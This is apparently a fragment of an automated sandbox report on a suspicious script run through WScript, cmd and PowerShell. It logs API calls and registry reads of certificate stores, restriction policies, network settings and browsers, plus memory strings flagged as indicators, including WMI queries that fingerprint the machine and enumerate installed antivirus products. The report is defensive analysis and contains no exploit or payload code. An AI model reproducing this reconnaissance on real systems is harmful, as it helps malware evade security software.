940000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000f4e48f9f70000000201407a76d020000e4e48f9f700000008000000000000000000000000000000024f0f918fe7f000000000000000000001000000000000000000000000000000000004fbf6d02000010000000000000006f5b540ffe7f0000201407a7 (UID: 00000000-00005280) "powershell.exe" called "GetVersionExA" with parameter 940000000a000000000000005d5800000200000000020000e8a04bbf6d02000000000000000000000300000000000000ffffffff00000000201407a76d02000008e78f9f70000000100000000000000070e68f9f7000000024f0f918fe7f0000000000000000000010000000000000000000000000000000000008fdfd7f000010000000000000006f5b540ffe7f000000000000 (UID: 00000000-00005280)2f:Ta97,Found string "WMI.ExecQuery(SELECT * FROM Win32_Processor);" (Indicator: "select * from "; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "hWMI.ExecQuery(SELECT * FROM Win32_VideoController);" (Indicator: "select * from "; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "\WMI.ExecQuery(SELECT * FROM Win32_Processor);" (Indicator: "select * from "; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "hWMI.ExecQuery(SELECT * FROM win32_operatingsystem);" (Indicator: "select * from "; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "^WMI.ExecQuery(Select * from AntivirusProduct);" (Indicator: "select * from "; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "6-SELECT * FROM Win32_Processor" (Indicator: "select * from "; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "8BSelect * from AntivirusProduct" (Indicator: "select * from "; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "SELECT * FROM win32_operatingsystem" (Indicator: "select * from "; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "SELECT * FROM Win32_VideoController" (Indicator: "select * from "; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "8bSELECT * FROM win32_operatingsystem" (Indicator: "select * from "; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "elSELECT * FROM Win32_VideoController" (Indicator: "select * from "; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "MI.ExecQuery(SELECT * FROM Win32_Processor);" (Indicator: "select * from "; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "SELECT * FROM Win32_Processor" (Indicator: "select * from "; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp")30:T56a,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")31:Ta00,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "ENABLEMULTICAST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E122B924-B4ED-4437-BC94-A96B6AA901B6}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{45F5205B-FA7A-11ED-8886-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "")32:T6f8,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE"; Key: ""; Value: "") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\SHELL\OPEN\COMMAND"; Key: ""; Value: "")33:T1173,"cmd.exe" queries volume information of "C:\" at 00000000-00000524-00000C17-3023108985 "cmd.exe" queries volume information of "C:\" at 00000000-00003800-00000C17-3025985538 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00005280-00000C17-3036155622 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00005280-00000C17-3036665632 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005280-00000C17-3036984414 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005280-00000C17-3037969524 "powershell.exe" queries volume information of "C:\" at 00000000-00005280-00000C17-3038349533 "powershell.exe" queries volume information of "C:\share" at 00000000-00005280-00000C17-3038351200 "powershell.exe" queries volume information of "C:\share" at 00000000-00005280-00000C17-3038446564 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00005280-00000C17-3039040782 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00005280-00000C17-3039214824 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00005280-00000C17-3039286878 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00005280-00000C17-3039429186 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.22621.608.cat" at 00000000-00005280-00000C17-3040013698 "powershell.exe" queries volume information of "C:\Windows\System32\WindowsPowerShell\v1.0\Modules\IISAdministration\Microsoft.IIS.PowerShell.Commands.dll" at 00000000-00005280-00000C17-3040241141 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.IIS.PowerShell.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.IIS.PowerShell.Commands.dll" at 00000000-00005280-00000C17-3040245307 "powershell.exe" queries volume information of "C:\Windows\assembly\GAC_MSIL\Microsoft.Web.Administration\7.0.0.0__31bf3856ad364e35\Microsoft.Web.Administration.dll" at 00000000-00005280-00000C17-3040677418 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" at 00000000-00005280-00000C17-3040722247 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll" at 00000000-00005280-00000C17-3053749350 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll" at 00000000-00005280-00000C17-3053763108 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll" at 00000000-00005280-00000C17-3053773202 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll" at 00000000-00005280-00000C17-3053809209 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll" at 00000000-00005280-00000C17-305561599034:T867,Found string "instance of Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000001.260141.BF9D0000.00000004.mdmp, 00000000-00005280.00000001.260141.BFAE5000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF9D0000.00000004.mdmp, 00000000-00005280.00000002.262058.BFAE5000.00000004.mdmp") Found string "WMI.ExecQuery(SELECT * FROM Win32_Processor);" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "\WMI.ExecQuery(SELECT * FROM Win32_Processor);" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.A4C60000.00000004.mdmp, 00000000-00005280.00000002.262058.A4C60000.00000004.mdmp") Found string "e of Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "6-SELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "of Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found string "MI.ExecQuery(SELECT * FROM Win32_Processor);" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp, 00000000-00005280.00000002.262058.BF390000.00000004.mdmp") Found string "of Win32_Processor." (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.BF390000.00000004.mdmp") Found string "ELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00005280.00000001.260141.BF910000.00000004.mdmp")35:T974,"powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "EE44782835D8FB31394DA5CEB840DC93849BCF5A") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "EE44782835D8FB31394DA5CEB840DC93849BCF5A") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")36:T842,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\SMARTCARDROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\FLIGHTROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\TESTSIGNROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "EE44782835D8FB31394DA5CEB840DC93849BCF5A") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES"; Key: "EE44782835D8FB31394DA5CEB840DC93849BCF5A") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\FLIGHTROOT\CERTIFICATES"; Key: "EE44782835D8FB31394DA5CEB840DC93849BCF5A") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\TESTSIGNROOT\CERTIFICATES"; Key: "EE44782835D8FB31394DA5CEB840DC93849BCF5A") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "EE44782835D8FB31394DA5CEB840DC93849BCF5A") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "CABD2A79A1076A31F21D253635CB039D4329A5E8") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES"; Key: "CABD2A79A1076A31F21D253635CB039D4329A5E8") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\CABD2A79A1076A31F21D253635CB039D4329A5E8"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "PINRULESLASTSYNCTIME") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "PINRULESENCODEDCTL") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "")37:T4b8d,"WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005700) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005700) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005700) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005700) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005700) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005700) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005700) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00005700) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005700) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00005700) "WScript.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00005700) "WScript.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005700) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005700) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000524) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000524) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000524) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000524) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008436) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008436) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008436) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008436) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003800) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003800) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003800) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003800) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00005280) "powershell.exe" called "LoadLibrary" with a parameter 